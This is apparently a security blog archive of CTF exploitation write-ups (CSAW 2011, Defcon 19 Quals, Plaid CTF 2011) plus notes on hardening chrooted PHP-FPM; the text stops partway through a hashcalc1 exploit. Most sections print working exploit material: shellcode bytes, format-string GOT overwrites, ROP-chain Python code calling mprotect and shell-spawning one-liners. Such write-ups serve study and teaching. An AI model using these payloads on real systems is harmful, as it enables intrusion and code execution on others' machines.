Updated on 11 Aug 2012

Note: I just notice the _SERVER variables related to path are wrong if "cgi.fix_pathinfo" is 0. If PHP application relies on these variables (such as _SERVER["SCRIPT_FILENAME"], $_SERVER["PATH_TRANSLATED"]), it would fail.

Another method is patching PHP-FPM. Here is my quick and dirty patch for PHP 5.3.15 http://pastebin.com/4EFqEgwE. I added "cgi.fix_chrootpath" configuration. Just set it to the same value as "chroot" value in pool configuration. Do not set "doc_root" and "cgi.fix_pathinfo". The "cgi.fix_chrootpath" should be boolean. But I cannot find a method to access "chroot" pool configuration. Last, I did not test the patch much. It works on my Linux box.

---

Also do not forget to remove "FollowSymLinks" or add "SymLinksIfOwnerMatch" option in Apache httpd configuration. If you omit it, the attacker can use symlink() trick to read files that web user can read.

After doing chroot PHP, you might think the open_basedir and disable_fuctions are useless. In my opinion, open_basedir is still useful. They can prevent from PHP functions to read files from "upload_tmp_dir" and "session.save_path". So attacker cannot use "temporary upload file" and "session file" for LFI.

Last thing that only few people mention, noexec mount option can be used for web data if web application use only PHP.

CSAW CTF 2011 - Exploitation Bin4 Writeup

After reading repnzscasb's Bin4 write-up. I have to say to myself "why I missed overwriting the pointer to function?". Here is my solution (not a smart method to solve this challenge).

The challenge code is same as bin3 but bin4 is compiled with full RELRO. Also the ASLR is enabled. Here is a short C code.

int s(char *op, char *lhs, char *rhs){
  static int(*opfunc)(int, int);
  int(*matfunc[4])(int, int) = {&add, &sub, &mul, &divi};
  char opmsg[512];

  op++;
  //...
 
  snprintf(opmsg, sizeof(opmsg), op);
  printf("%s\n", opmsg);
  fflush(0);
  return opfunc(atoi(lhs), atoi(rhs));
}
 
int main(int argc, char **argv){
 
  if(argc < 4){ u(); }
 
  printf("Result: %d\n", s(argv[2], argv[1], argv[3]));
  exit(EXIT_SUCCESS);
}

Assume we see only format string bug (do not see opfunc, a pointer to function :P). My idea is using saved ebp in s() stack frame, that points to saved ebp in main() stack frame, with format string bug to modify 1 byte of saved ebp in main() stack frame to the address of saved eip in s() stack frame. Confused??? Look below.

(gdb) b *0x0804867e     # break at call snprintf
Breakpoint 1 at 0x804867e
(gdb) r 1 -%144\$hhn 2
Starting program: /home/worawit/csaw/bin4 1 -%144\$hhn 2
Operation:
Breakpoint 1, 0x0804867e in s ()
(gdb) x/12x $ebp
0xbffff648:     0xbffff668      0x08048721      0xbffff868      0xbffff866
0xbffff658:     0xbffff872      0x0029bff4      0x08048750      0x00000000
0xbffff668:     0xbffff6e8      0x00155e37      0x00000004      0xbffff714
(gdb) ni
0x08048683 in s ()
(gdb) x/12x $ebp
0xbffff648:     0xbffff668      0x08048721      0xbffff868      0xbffff866
0xbffff658:     0xbffff872      0x0029bff4      0x08048750      0x00000000
0xbffff668:     0xbffff600      0x00155e37      0x00000004      0xbffff714

Note:
- 0xbffff648 is address of saved ebp in s() stack frame
- 0xbffff64c is address of saved eip in s() stack frame
- 0xbffff668 is address of saved in main() stack frame

From gdb, we can see the saved ebp value in main() stack frame is changed. If we change it to address of saved eip in s() stack frame, 0xbffff64c. We can use it for format string bug to change the saved eip in s() stack frame. That's the idea.

This method does not work all the time because stack address is random. But the chance is not low. Only 4 bits are random. The last 4 bits are always the same because of stack alignment in main() function.

080486e5 <main>:
 80486e5:       55                      push   %ebp
 80486e6:       89 e5                   mov    %esp,%ebp
 80486e8:       83 e4 f0                and    $0xfffffff0,%esp

Because argv[1] is passed to s() function as 2nd argument , we just need to modified the saved eip to the pop/ret address. Find it near 0x08048721, so we have to modified only 1 byte.

worawit@nattyvm:~/csaw$ objdump -d ./bin4 | grep '^ 80487' | grep -B 1 ret
 8048743:       5d                      pop    %ebp
 8048744:       c3                      ret
--
 80487a8:       5d                      pop    %ebp
 80487a9:       c3                      ret
 80487aa:       8b 1c 24                mov    (%esp),%ebx
 80487ad:       c3                      ret
--
 80487d8:       5d                      pop    %ebp
 80487d9:       c3                      ret
--
 80487f6:       c9                      leave
 80487f7:       c3                      ret

I pick address 0x080487a8. The restriction of this method is "$" modifier must not be used in first "%n"

. Else the printf() function will not use modified value. Here is the exploit. Shell will pop out in a second.

worawit@nattyvm:~/csaw$ while [ 1 ]; do ./bin4 `perl -e 'print "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'` -`perl -e 'print "%8x"x142,"%220x%hhn","%8x"x6,"%44x%hhn"'` 10; done
...
$

ROP with common functions in Ubuntu/Debian x86

After reading "How to make a ROP when gadgets seems to miss ? (kind of universal ROP under linux)", I see something missing. It is hard to change the shellcode (such as connect back) and it does not work on full RELRO binary. So I tried do ROP too (for fun) with following code and compilation option on Ubuntu 10.04 (x86).

#include <string.h>
int main(int argc, char **argv)
{
    char buf[64];
    strcpy(buf, argv[1]);
    return 0;
}

$ gcc -fno-stack-protector -Wl,-z,relro,-z,now -o testfoo testfoo.c
$ checksec.sh --file testfoo
RELRO           STACK CANARY      NX            PIE                     FILE
Full RELRO      No canary found   NX enabled    No PIE                  testfoo

Here the "objdump -d" output (testfoo_objdump.txt). I will paste only gadgets here because the full output is very long.

From agix's work, he modified GOT entry to get new gadgets. It cannot be used when full RELRO is enabled. But we still can use "call *%eax" (or similar) to make a new gadgets.

Even a binary is full RELRO, there is still static memory address that permission is "rw" (at least .data and .bss section). When a binary file is mapped to memory, the memory must be allocated a multiple of page size (normally is 4096 bytes). So in most case, there are some unused memory area that is initialized to zero. I will use this memory area to store some value.

Let look at gadgets in __libc_csu_init first.

# gadget #1
 8048472:	83 c4 1c             	add    $0x1c,%esp
 8048475:	5b                   	pop    %ebx
 8048476:	5e                   	pop    %esi
 8048477:	5f                   	pop    %edi
 8048478:	5d                   	pop    %ebp
 8048479:	c3                   	ret 

This gadget can be used for setting ebx, esi, edi, ebp and clean up stacks.

# gadget #2
 8048439:	8d bb 0c ff ff ff    	lea    -0xf4(%ebx),%edi
 804843f:	8d 83 0c ff ff ff    	lea    -0xf4(%ebx),%eax
 8048445:	29 c7                	sub    %eax,%edi
 8048447:	c1 ff 02             	sar    $0x2,%edi
 804844a:	85 ff                	test   %edi,%edi
 804844c:	74 24                	je     8048472 <__libc_csu_init+0x52>

This gadget can be used for setting eax after setting ebx. The 0xf4 is offset of _GLOBAL_OFFSET_TABLE_ and __init_array_start.

# gadget #3
 8048450:	8b 45 10             	mov    0x10(%ebp),%eax
 8048453:	89 44 24 08          	mov    %eax,0x8(%esp)
 8048457:	8b 45 0c             	mov    0xc(%ebp),%eax
 804845a:	89 44 24 04          	mov    %eax,0x4(%esp)
 804845e:	8b 45 08             	mov    0x8(%ebp),%eax
 8048461:	89 04 24             	mov    %eax,(%esp)
 8048464:	ff 94 b3 0c ff ff ff 	call   *-0xf4(%ebx,%esi,4)
 804846b:	83 c6 01             	add    $0x1,%esi
 804846e:	39 fe                	cmp    %edi,%esi
 8048470:	72 de                	jb     8048450 <__libc_csu_init+0x30>

This gadget can be used for calling a function, based on ebx and esi, with 3 arguments. We need to set edi to make jb condition fail. But limitation of this gadget is we must know the address of function arguments.

Next, gadgets in __do_global_ctors_aux

# gadget #4
 80484a7:	5b                   	pop    %ebx
 80484a8:	5d                   	pop    %ebp
 80484a9:	c3                   	ret  

This gadget can be used for setting ebx and use a little stack space.

# gadget #5
(gdb) x/6i 0x0804849e
   0x804849e <__do_global_ctors_aux+30>:        add    -0xb8a0008(%ebx),%eax
   0x80484a4 <__do_global_ctors_aux+36>:        add    $0x4,%esp
   0x80484a7 <__do_global_ctors_aux+39>:        pop    %ebx
   0x80484a8 <__do_global_ctors_aux+40>:        pop    %ebp
   0x80484a9 <__do_global_ctors_aux+41>:        ret
   0x80484aa <__do_global_ctors_aux+42>:        nop

This gadget cannot be found in objdump output. I use gdb to intrepret at address 0x0804849e as instructions. It can be used for adding value from memory to eax. Because we can control eax, it is considered as load value from memory to eax (similar to "mov (%ebx),%eax" instruction).

Next, gadgets in __do_global_dtors_aux.

# gadget #6
(gdb) x/3i 0x080483a9
   0x80483a9 <__do_global_dtors_aux+73>:        add    $0x804a008,%eax
   0x80483ae <__do_global_dtors_aux+78>:        add    %eax,0x5d5b04c4(%ebx)
   0x80483b4 <__do_global_dtors_aux+84>:        ret

This gadget also can be found with gdb at address 0x080483a9. The "add %eax,0x5d5b04c4(%ebx)" instruction can be used for storing eax value to memory if the value in memory is 0 (similar to "mov %eax,(%ebx)"). When wanting to avoid badchars from setting eax, we use this whole gadget to adjust eax.

I also found this gadet in in __do_global_dtors_aux with gdb.

(gdb) x/2i 0x08048392
   0x8048392 <__do_global_dtors_aux+50>:        add    %esp,0x804a00c(%ebx)
   0x8048398 <__do_global_dtors_aux+56>:        call   *0x8049ef8(,%eax,4)

It can be used for storing esp to memory. But because 0x804a00c (dtor_idx) is near to static memory address, ebx has to be very low value (0x0000????). I cannot find a gadget to adjust ebx. So we cannot use it if \x00 is badchar (like this example).

These are 6 gadgets I use to do ROP. Let see my python code for the variable name of the gadget addresses.

# start address of __do_global_dtors_aux
do_global_dtors_aux_addr = 0x08048360

# start address of __libc_csu_init
libc_csu_init_addr = 0x08048420
init_array_offset = 0xf4
bss_completed_addr = 0x0804a008

# start address of __do_global_ctors_aux
do_global_ctors_aux_addr = 0x08048480

set_eax_addr = libc_csu_init_addr + 0x19    # gadget #2
set_4reg_addr = libc_csu_init_addr + 0x55   # gadget #1
call_3args_addr = libc_csu_init_addr + 0x30 # gadget #3

set_ebx_addr = do_global_ctors_aux_addr + 0x27  # gadget #4
load_eax_addr = do_global_ctors_aux_addr + 0x1e # gadget #5

store_eax_addr = do_global_dtors_aux_addr + 0x4e  # gadget #6
store_eax_addr2 = do_global_dtors_aux_addr + 0x49 # can be used for avoiding badchars

JUNK = 0xbadc0de
JUNK_STR = pack("<I", JUNK)

Here how I use these gadgets. Start with simple set eax and ebx.

def do_set_ebx(ebx):
    # 12 bytes
    return pack("<III", set_ebx_addr, ebx, JUNK)

def do_set_eax_ebx(eax, ebx, esi=JUNK, edi=JUNK, ebp=JUNK):
    # (3+1+7+4)*4 = 60 bytes
    ebx_tmp = (eax + init_array_offset) & 0xFFFFFFFF
    return do_set_ebx(ebx_tmp) + pack("<I", set_eax_addr) + JUNK_STR*7 + pack("<IIII", ebx, esi, edi, ebp)

Next is storing value in memory. Common task.

def do_store_value(value, mem_addr):
    # 64 bytes
    eax = value
    ebx = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
    return do_set_eax_ebx(eax, ebx) + pack("<I", store_eax_addr)
do_add_memref = do_store_value

def do_store_value2(value, mem_addr):
    # 64 bytes
    eax = (value - bss_completed_addr) & 0xFFFFFFFF
    ebx = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
    return do_set_eax_ebx(eax, ebx) + pack("<I", store_eax_addr2)
do_add_memref2 = do_store_value2

Before seeing next functions, let think about the goal first. I need the ROP to be reusable with other shellcode, so the goal is calling mprotect (I use mprotect because it requires only 3 arguments) and copying the shellcode into rwx area. Looking at gadget #3, we need 3 arguments in memory and the function address to be called in memory too. So we need to put the mprotect function address in memory. To find the mprotect address, we need to get value from GOT entry, then add/sub an offset. Here is the function to do this task.

def do_store_func_addr(func_plt_got_addr, func_offset, mem_addr):
    # 80 bytes
    eax1 = (func_offset - bss_completed_addr) & 0xFFFFFFFF
    ebx1 = func_plt_got_addr + 0x0b8a0008  # normally got is in 0x08??????, so no overflow
    ebx2 = (mem_addr - 0x5d5b04c4) & 0xFFFFFFFF
    return do_set_eax_ebx(eax1, ebx1) + pack("<IIII", load_eax_addr, JUNK, ebx2, JUNK) + pack("<I", store_eax_addr2)

The last function is calling with 3 arguments.

def do_call_3arg(func_mem_addr, args_mem_addr):
    esi = 0x02020202
    ebx = (func_mem_addr + init_array_offset - (esi*4)) & 0xFFFFFFFF
    ebp = args_mem_addr - 8
    edi = 0x01010101  # to make jb condition fail
    return pack("<IIIII", set_4reg_addr, ebx, esi, edi, ebp) + pack("<I", call_3args_addr) + JUNK_STR*11

We have all functions. Time to assemble them to call mprotect.
Note: I have to store the mprotect arguments in memory first because they always contain \x00 value (badchar for this example).

rop = ""
# prepare mprotect address and its arguments on static stack
rop += do_store_func_addr(libc_ref_func_got, mprotect_offset, static_mem_zero_start)  # memprotect address in libc
rop += do_store_value(static_mem_rw_start, static_mem_zero_start + 8)
rop += do_store_value2(mprotect_len, static_mem_zero_start + 12)
rop += do_store_value2(7, static_mem_zero_start + 16)  # rwx
# call mprotect
rop += do_call_3arg(static_mem_zero_start, static_mem_zero_start + 8)

After got the memory with rwx permission, there are many methods to execute any shellcode. I inject a gadget to set strcpy src address in stack.

# metasm > lea eax,[esp+0x10]
# "\x8d\x44\x24\x10"
# metasm > mov [esp+0xc],eax
# "\x89\x44\x24\x0c"
# metasm > ret
# "\xc3"
rop += do_store_value(0x1024448d, static_mem_zero_start + 20)
rop += do_store_value(0x0c244489, static_mem_zero_start + 24)
rop += do_store_value(0x909090c3, static_mem_zero_start + 28)

Then I use strcpy@plt to copy the shellcode and jump to it.

rop += pack("<IIIII", static_mem_zero_start + 20, strcpy_plt, static_mem_zero_start + 32, static_mem_zero_start + 32, JUNK)
rop = "A"*64 + pack("<I", ret_addr)*5 + rop + shellcode

Here is my full python code: genrop.py. Now we can change shell easily :).

$ python genrop.py
$ ./testfoo "`cat rop.out`"

I also tried on Ubuntu 11.04 and Debian 6. It works. But on Fedora 14/15, the __do_global_dtors_aux is slightly different. Gadget #6 is changed to use ecx and ebp for storing value in memory. I cannot find any gadget to control ecx. I think we can use gadgets in libc by using "call *%eax". It is harder but still possible.

Defcon 19 Quals - Pwntent Pwnables 500 Writeup

I could not solve this challenge in time. It is definitely a good challenge (and hard).

The binary is compiled from C++ code and stripped. Even the binary is dynamically linked, we will see many functions in assembly because some code of C++ STL is included in binary. From objdump output, the binary is compiled on Fedora 14. So I tested my exploit only on Fedora 14. Here are some checking output.

$ file pp500_e98c4e1c448e706a94e
pp500_e98c4e1c448e706a94e: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, stripped
$ strings pp500_e98c4e1c448e706a94e
...
_ZSt29_Rb_tree_insert_and_rebalancebPSt18_Rb_tree_node_baseS0_RS_
...
vector::_M_insert_aux
...
$ objdump -s -j .comment pp500_e98c4e1c448e706a94e

pp500_e98c4e1c448e706a94e:     file format elf32-i386

Contents of section .comment:
 0000 4743433a 2028474e 55292034 2e352e31  GCC: (GNU) 4.5.1
 0010 20323031 30303932 34202852 65642048   20100924 (Red H
 0020 61742034 2e352e31 2d342900           at 4.5.1-4).
$ checksec.sh --file pp500_e98c4e1c448e706a94e
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        No canary found   NX enabled    No PIE                  pp500_e98c4e1c448e706a94e

The assembly from C++ code is very difficult to understand at first sight. The good way to understand (for me) is writing simple C++ code that uses std::string, then compile it and view the assembly (without stripping). Here is the my C++ code for learning std::string teststring.cpp.

After understanding std::string in assembly, reading the assembly code is a lot easier. There are still many unknown functions. But I could at least understand the program flow.

In upload_new_record function, there is a call to "new" after receiving the data from client. I can guess the call functions after "new" are Class constructors. In both constructor, they call the same function. It is a parent constructor. I also can see the vtable in constructor.

I named the class as RecordOdd and RecordEven (from the random value before creating the Record object). Inside RecordEven::setBuffer, there is a overflow bug. The buffer is allocated 224 bytes but the function always write 248 bytes. I thought to use it to overwrite the vtable of adjacent record. So just need to find a way to trigger it. I could guess almost immediately, the setBuffer is called when we edit a record. But that's not enough because it causes a heap corruption.

There are some messy functions. I could guess only they are STL functions and its object is in .bss section. I saw the "vector" and "Rb_tree". So the program must use std::vector and some kind of STL container that use Red-Black tree as internal data structure. Again, I wrote simple C++ code for each container. The binary use std::map. Here is my C++ code testmap.cpp

After I knew the program use std::map to store the Record and use a object id as a key, it is not difficult to reverse the left code. Here is my the reversed C++ code pp500_code.cpp

Exploitation

I tried to look at memory, when doing "upload new record". I found there is a some data of Red-black tree after a new record. If I use the overflow bug, I would overwrite the Red-black tree data, not vtable of next record.

It might be possible to overwrite the Red-black tree data in order to modify the pointer to Record, then make it points to fake vtable area. I think it is difficult to do. IMHO, playing with heap chunk is easier.

To make the Record allocated after another Record without any data in the middle, I upload a new record and delete it to make a hole (free chunk). Then, upload another record to lock the hole. The heap layout after above steps should look like this (omit heap metadata).

---+------------+--------------+-----------
   | free chunk |   Record 1   |           
---+------------+--------------+-----------

The "free chunk" should be big enough for many Red-black tree data but too small for a Record. So a new Record will be allocated next to Record1.

I need RecordEven object to be able to overwrite vtable of next Record. I do looping the "upload new record", "view record" and "delete record" (if it is not RecordEven) until got RecordEven object. Now, I could modify the vtable pointer :). The left problem is the address of Record that contained fake vtable.

In "edit_record" function, the received data is copied to Record buffer. The received length is ignored. The RecordOdd::setBuffer() use length that defined since "upload new record" to determine how many data to be copied. So if we can make the received buffer in "edit record" contains the address of heap, the program will copy the address to RecordOdd buffer. Then, we can get the address from "view record". (Not use RecordEven::setBuffer() because it causes a heap corruption.)

In "upload_new_record" function, there is a pointer to new Record. It is in buffer space of "edit_record" function, so we can copied a new uploaded Record to RecordOdd data.

When overwriting the vtable, we also need to put correct heap metadata (only chunk size) to prevent heap corruption. The last, I use "edit_record" function to trigger the exploit because it receives data from client to buffer before calling the function from fake data, so I put ROP data in stack.

The left part is doing ROP. Here is my exploit to get shell pp500.py (Note: you need to copy "/bin/sh" and needed libraries in pwn400 home directory because the program does chroot.)

I also write the exploit to just read the "key" file. It does not need to know the function offset in libc. pp500_readkey.py

$ python pp500_readkey.py
creating a hole ...
!!! Got odd record, it might be failed !!!

creating a record to lock the hole ...

creating third record...
getting the Record address...
08fb50e4,08fb5024,00000001,d06a93c2,08fb52d8,43434344

Record address: 08fb5100

overwriting vtable...
trigger the exploit

sending key
waiting for key

dummy key for testing       áP8PÇO♥           XáN N√

Defcon 19 Quals - Pwntent Pwnables 400 Writeup

As usual, I checked the file first.

$ file pp400_804703cc7f7d5d3f54ba
pp400_804703cc7f7d5d3f54ba: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
$ objdump -s -j .comment pp400_804703cc7f7d5d3f54ba

pp400_804703cc7f7d5d3f54ba:     file format elf32-i386

Contents of section .comment:
 0000 4743433a 2028474e 55292034 2e362e30  GCC: (GNU) 4.6.0
 0010 20323031 31303530 39202852 65642048   20110509 (Red H
 0020 61742034 2e362e30 2d372900 4743433a  at 4.6.0-7).GCC:
 0030 2028474e 55292034 2e362e30 20323031   (GNU) 4.6.0 201
 0040 31303230 35202852 65642048 61742034  10205 (Red Hat 4
 0050 2e362e30 2d302e36 2900               .6.0-0.6).

The binary in this challenge is statically linked and stripped. It means all libc functions are included in the binary and symbol names are stripped. From the comment section, the binary is supposed to be compiled on Fedora 15. I tried to create IDA sig file from "libc.a" but no function name is resolved. So I have to reverse code manually.

My trick for reversing code on this challenge is starting from "/dev/urandom". The function that passed "/dev/urandom" as first argument should be "open". If we follow the assembly code in "open" function, we will see setting SYS_OPEN to eax then jump to "__unified_syscall" (See my pCTF - Another Samll Bug writeup). So we can recover many libc function names that setting eax to syscall number.

The left libc functions are not difficult to guess if we know function arguments and what syscall to be called inside the function. The code I get is same as LeetMore's writeup but they use better variable name than me (so read their code).

From the code, program copies client data to saved eip address but there is a limit. Before thinking how to make payload small, I checked the enabled security feature in the binary.

$ checksec.sh --file pp400_804703cc7f7d5d3f54ba
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        No canary found   NX disabled   No PIE                  pp400_804703cc7f7d5d3f54ba

NX is disabled. So I do not need to do full ROP, just put the code to read the shellcode to some static rwx area (with "fread") then jump to it. Also we can see from the code that stdin and stderr are the connected socket, so we just need the execve("/bin/sh") shellcode.

fread_addr = 0x08048c60
stdin_addr = 0x0804a31c
wx_addr = 0x0804a480

payload = pack("<I", fread_addr) # jump to fread
payload += pack("<I", wx_addr)   # jump to shellcode
payload += pack("<IIII", wx_addr, 1, len(sc), stdin_addr) # fread arguments

It requires only 24 bytes. But when I got the shell, I could use only builtin commands, no "id, cat, ls, ..." (I hope I did not make a mistake again). So I wrote the shellcode to read key file. Here is the full python code pp400.py.

Defcon 19 Quals - Pwntent Pwnables 200 Writeup

First, I checked the binary with various commands

$ file pp200_64625bc51c5b8dc75b
pp200_64625bc51c5b8dc75b: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
$ strings pp200_64625bc51c5b8dc75b
...
SUNW_0.7
libc.so.1
SUNW_0.9
SUNWprivate_1.1
...
$ objdump -s -j .comment pp200_64625bc51c5b8dc75b

pp200_64625bc51c5b8dc75b:     file format elf32-i386

Contents of section .comment:
 0000 00402823 2953756e 4f532035 2e313020  .@(#)SunOS 5.10
 0010 47656e65 72696320 4a616e75 61727920  Generic January
 0020 32303035 00004028 23295375 6e4f5320  2005..@(#)SunOS
 0030 352e3130 2047656e 65726963 204a616e  5.10 Generic Jan
 0040 75617279 20323030 35000040 28232953  uary 2005..@(#)S
 0050 756e4f53 20352e31 30204765 6e657269  unOS 5.10 Generi
 0060 63204a61 6e756172 79203230 30350000  c January 2005..
 0070 4743433a 2028474e 55292033 2e342e33  GCC: (GNU) 3.4.3
 0080 20286373 6c2d736f 6c323130 2d335f34   (csl-sol210-3_4
 0090 2d627261 6e63682b 736f6c5f 72706174  -branch+sol_rpat
 00a0 68290000 4743433a 2028474e 55292033  h)..GCC: (GNU) 3
...

From output, we know this binary is for Solaris x86. The "file" command tell the binary is stripped but it is not. When I open it in IDA, all function name is resolved. So it is easy to read/guess the code.

The challenge is so straightforward. The program receives input from client then jump to the received buffer+1. Just send the shellcode.

I had no knowledge about writing shellcode for Solaris. So I tried with metasploit "solaris/x86/shell_reverse_tcp". The size is 91 bytes but the BUFSIZE is 0x49=73 bytes. The metasploit payload is too big for this challenge.

I planned to sending small shellcode to receiving big shellcode. My trick is reusing the code. Pushing the size to be received then jump to address 0x080516b4 in order to make program call recvAll with my size then jump to received buffer+1 again. So the first shellcode is

sc = "\x6a\x5c"   # push 92
sc += "\xb8\xb4\x16\x05\x08" # mov eax,0x080516b4 
sc += "\xff\xe0"  # jmp eax

The full python code is pp200_readAll.py

The above method, I failed to do it in CTF because I put the wrong BUFSIZE in python code. Then, I learnt writing shellcode for Solaris x86 and tried connection reuse. I failed again because of my stupid mistake :[. I ended up with writing shellcode to read key file. Here is the python code for reading key file pp200.py.

After loading OpenSolaris VMWare image as someguy (sorry I cannot remember the name) in irc gave me the link, I know why I failed to get the shell. Thanks for the link.

The key, I cannot remember. :P

Plaid CTF 2011#19 - Another Small Bug

This challenge is local stack based buffer overflow. The binary is static. It means that the libc shared object is not loaded, all needed libc functions are included in the binary. So we cannot use a trick that create a weird executable file name and jump to exec*() function in libc.

Because the NX bit in binary is disabled, the method I used in competition is brute forcing same as Leet More's writeup. But while talking in IRC, it seems the organizer did a mistake. The NX bit should be enabled. The StalkR's Blog has already posted the nice writeup if NX is enabled. I also tried it assuming NX is enabled (and effective :P) just for fun. Here is my solution.

Let see the code first. The main() function of this challenge is small. So I posted here.

int main(int argc, char **argv)
{
    char buffer[512];
    unsigned long len;
    if (argc != 2) {
        printf("...");
        exit(1);
    }
    len = strtoul(argv[1]);
    if (len <= 511) {
        if (log_error("..."))
            myexit();
    }
    fgets(buffer, len, stdin);
    puts(buffer);
    return 0;
}

At first time I looked, it seems not able to be exploited. When I checked inside log_error() function, it always fails because the log file does not exist. So we can put any length we want.

Because the binary is statically linked, so let check what libc functions are included in binary.

$ objdump -t exploitme  | grep .text
...
08048890 g     F .text  00000011 printf
08049fa8 g     F .text  00000043 memmove
...
08049abc g     F .text  0000000e mmap
...
0804823f g     F .text  00000034 __unified_syscall
...
08048230 g     F .text  00000007 mprotect

There are many interesting functions. But "__unified_syscall" is the most interesting for me. It looks like syscall() function in libc. Let look at it closer.

$ gdb ./exploitme
...
(gdb) b main
Breakpoint 1 at 0x804818a
(gdb) r
Starting program: /opt/pctf/z2/exploitme

Breakpoint 1, 0x0804818a in main ()
(gdb) x/10i __unified_syscall
0x804823f <__unified_syscall>:  movzbl %al,%eax
0x8048242 <__unified_syscall+3>:        push   %edi
0x8048243 <__unified_syscall+4>:        push   %esi
0x8048244 <__unified_syscall+5>:        push   %ebx
0x8048245 <__unified_syscall+6>:        mov    %esp,%edi
0x8048247 <__unified_syscall+8>:        mov    0x10(%edi),%ebx
0x804824a <__unified_syscall+11>:       mov    0x14(%edi),%ecx
0x804824d <__unified_syscall+14>:       mov    0x18(%edi),%edx
0x8048250 <__unified_syscall+17>:       mov    0x1c(%edi),%esi
0x8048253 <__unified_syscall+20>:       mov    0x20(%edi),%edi

The function moves arguments to ebx, ecx, edx, esi, edi respectively. Look like it is preparing for syscall. Check some existed libc function that matches the syscall.

(gdb) x/2i open
0x80489d0 <__libc_open>:        mov    $0x5,%al
0x80489d2 <__libc_open+2>:      jmp    0x804823f <__unified_syscall>

Yes, it is. The "__unified_syscall" is a syscall() function but we have to put syscall number in eax before calling it.

I want to call execve syscall (number 11) so all I have to prepare the arguments and set eax to 11. Preparing the arguments is easy because we can control the content in stack. How we set eax to 11?. Normally it is difficult to find "pop eax" gadget. To overcome this problem, I use printf() function. Because eax keeps the return value of function. And the return section in printf man page:

Upon successful return, these functions return the number of characters printed (not including the trailing '\0' used to end output to strings).

Just need to find a string that length is 11. Very easy.

(gdb) x/10s 0x0804a378
0x804a378:       "a"
0x804a37a:       "/home/z2/logs/assert.log"
0x804a393:       "ERROR: %s\n"
0x804a39e:       "%s requires one arguments.\n"
0x804a3ba:       ""
0x804a3bb:       ""
0x804a3bc:       "[assertion] len < sizeof(buffer)"
0x804a3dd:       "/dev/urandom"
0x804a3ea:       "\n"
0x804a3ec:       "(null)"

I use address 0x804a3de ("dev/urandom") for printf() and 0x804a378 ("a") for execve(). The address contains NULL is 0x804a444. Time to exploit it :).

z2_82@a5:~$ ln -s /bin/sh a
z2_82@a5:~$ (perl -e 'print "A"x516,"\x2f\x82\x04\x08"x16,"\x90\x88\x04\x08","\x3f\x82\x04\x08","\xde\xa3\x04\x08","\x78\xa3\x04\x08","\x44\xa4\x04\x08"x2';echo;cat) | /opt/pctf/z2/exploitme 700
AAAAAAAAAAAAAA...
id
uid=2081(z2_82) gid=1001(z2users) egid=1003(z2key) groups=1001(z2users)

Another fun ;)

Plaid CTF 2011 Hashcalc2 Writeup

This challenge is similar to hashcalc1. I used the same method as hashcalc1 to solve it. So read my hashcalc1 writeup first.

The binary uses inetd for running as network service. So the socket fds are 0,1,2. We do not need dup2() like hashcalc1. Also, the calculating hash function is changed. No calling any libc function.

The next libc function call is vsprintf(). But we cannot use it because the GOT entry address is 0x08049108. The address plus 2 is 0x0804910a. 0x0a is bad char.

The next function is strlen() again :). But the program calls vsprintf() with buffer size only is 0x100. To be safe, we should not overflow it. My workaround of this problem is put 0x00 after format string payload. Like this.

payload = payload_fmt + "\x00" + "A"*(0x2e0-len(payload_fmt)-1)

Another weird problem I found is server receive only partial modified GOT table. So I modified it to do recv() 2 times with small data as needed.

The others are same as hashcalc1. Here is my exploit: hashcalc2.py

$ python hashcalc2.py
** Welcome to the online hash calculator **
$
payload len: 840
got GOT table: 104
uid=1008(hashcalc2) gid=1009(hashcalc2) groups=1009(hashcalc2)

funkyG_1S_th3_b3$t

Key: funkyG_1S_th3_b3$t

Plaid CTF 2011 Hashcalc1 Writeup

This challenge is remote pwnable. I spent a lot of time to solve it. But I learned something new (worth to waste time on it). Here is some binary info.

$ checksec.sh --file hashcalc1
RELRO           STACK CANARY      NX            PIE                     FILE
No RELRO        Canary found      NX enabled    No PIE                  hashcalc1

Reversing the binary... it is classic accept() and fork() server. After the connection established, the server send() welcome message, do recv() the data, log to file, calculate hash, then send the hash back to client. The log to file step has a format string problem. The C code should look like this.

recv(sock_fd, buffer, 0x3ff, 0);
// ...
fprintf(log_fp, buffer);

Note: after receiving data from client, the server converts all '\n' (0x0a) to NULL (0x00). So 0x0a is bad char. But 0x00 is good char.

The format string bug is obviously allow us to write any value in arbitrary address. The common place is GOT entry. I found strlen() function is used after fprintf() function (in calculating hash function). So strlen GOT entry is my target.

$ objdump -R hashcalc1 | grep strlen
0804a41c R_386_JUMP_SLOT   strlen

The address to be overwritten is 0x0804a41c. But the problem is what value I have to write. I tried to do connect back with ROP (but not brute forcing). No luck, I cannot find the gadgets to do what I want :(.

After a few hour past, I noticed the socket fd is known. In accept() loop, the server process always call close() before do accept() again. So it always be 5 because 3 is server fd and 4 is log fd.

With known socket fd, we can do ROP to make server send and receive additional data to arbitrary address. We can jump (not call) to recv() or send() by using plt functions. So the fixed addresses of recv() and send() are

$ objdump -d hashcalc1 | grep '@plt>:' | grep -e recv -e send
08048844 <recv@plt>:
08048994 <send@plt>:

Normally, to calling the libc functions without brute forcing when ASLR is enabled, we need to use the resolved function in GOT entry then add it with the offset. With send(), we can make program send the whole GOT section to us. Then we can modified any GOT entries and send the modified table back with recv().

First, I planned to modified GOT entries to have mprotect() and other functions to be able to put the shell code. But I remembered that reverse shell is just connect back with new socket, then dup2() and execve("/bin/sh"). We do not need to use shell code. Just call dup2() and execve("/bin/sh"). And of course we can use some area of GOT section to put "/bin/sh" string.

Now, coding time. First the format string bug, I need to move the esp to the controlled stack area. I found this gadget

0x8049106L: add esp 0x54 ; pop ebx ; pop esi ; pop ebp ;;

Format string to overwrite the strlen GOT entry is

got_strlen_addr = 0x0804a41c
payload_fmt = pack("<I", got_strlen_addr) + pack("<I", got_strlen_addr+2) + "%"+str(0x804-8)+"x%6$hn" + "%"+str(0x9106-0x804)+"x%5$hn"

Then, do send() and recv()

# 0x8048c1aL: add esp 0xc ; pop ebx ; pop ebp ;;
# send GOT table to me
